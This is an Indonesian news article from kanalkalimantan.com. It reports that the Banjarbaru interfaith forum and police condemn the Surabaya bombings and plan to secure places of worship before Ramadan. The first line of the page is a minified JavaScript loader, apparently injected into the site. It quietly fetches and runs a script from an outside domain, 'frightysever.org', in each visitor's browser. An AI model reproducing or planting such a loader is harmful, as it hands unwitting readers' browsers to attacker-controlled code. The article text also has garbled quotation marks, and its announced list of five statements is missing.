(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Aksi terorisme yang terjadi di Indonesia menuai simpati sekaligus kecaman dari sejumlah pihak. Tak terkecuali FKUB (Forum Kerukunan Umat Beragama) Kota Banjarbaru dan Polres Banjarbaru yang menegaskan 5 pernyataan sikap mereka atas aksi terorisme dan insiden pengeboman di Surabaya, Rabu (15/5) pukul 14.00 Wita.
Kegiatan dihadiri Ketua FKUB Kota Banjarbaru Dr H Muslih Amberi MSi bersama 14 anggota FKUB dan Kapolres Banjarbaru AKBP Kelana Jaya.
Dalam 5 pernyataan sikap ini, FKUB Kota Banjarbaru menegaskan sangat mengecam aksi terkutuk tersebut. Kesepakatan ini ditandatangani 14 anggota FKUB, berikut 5 penyataan sikap mereka :
Ketua FKUB Kota Banjarbaru Dr H Muslih Amberi MSi mengungkapkan, selain lima poin penting yang dengan tegas mengecam aksi terorisme, kesepakatan ini juga memastikan keamanan dan kelancaran dalam rangka menjelang bulan Ramadhan.
“Kami dengan tegas menolak aksi terorisme yang terjadi belakangan ini, selain itu kesepakatan ini antisipasi kita dalam menghadapi bulan Ramadhan, agar tercipta Kota Banjarbaru yang aman nyaman dan sejahtera. Kita juga mengajak pihak berwenang dalam mengantisipasi setiap kejadian agar kita mendapat informasi yang benar dan bisa dipertanggung jawabkan,†ungkapnya.
Menanggapi pernyataan tersebut Polres Banjarbaru bersama jajarannya menyatakan kesiapannya untuk memberantas sel-sel terorisme bila ada di wilayah Kota Banjarbaru. Mengantispasi paham radikalisme sejak dini lewat kegiatan turun sekolah.
“Pada dasarnya kami siap melaksanakan strelisasi bila ada sel-sel teroris di Kota Banjarbaru, selanjutnya kita akan melaksanakan kegiatan turun ke sekolah dalam rangka mengantisipasi paham paham radikalisme tersebut,†ujarnya.
AKBP Kelana Jaya menambahkan bahwa tidak menutup kemungkinan aksi terorisme terjadi di Kota Banjarbaru. Karena itu Polres Banjarbaru bersama FKUB Kota Banjarbaru saling bekerja sama untuk meningkatkan pengamanan di objek-objek vital seperti di tempat-tempat ibadah. Selain itu masyarakat juga dihimbau untuk tidak takut dan tetap melakukan aktivitas seperi biasa.
“Umat beragama di Kota Banjarbaru mari bersatu padu, berpegangan tangan dan menguatkan diri, karena polisi tidak bisa sendiri, polisi butuh masyarakat untuk saling memberikan informasi mendeteksi dini terhadap maraknya sel-sel terorisme dan paham-paham radikalisme,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.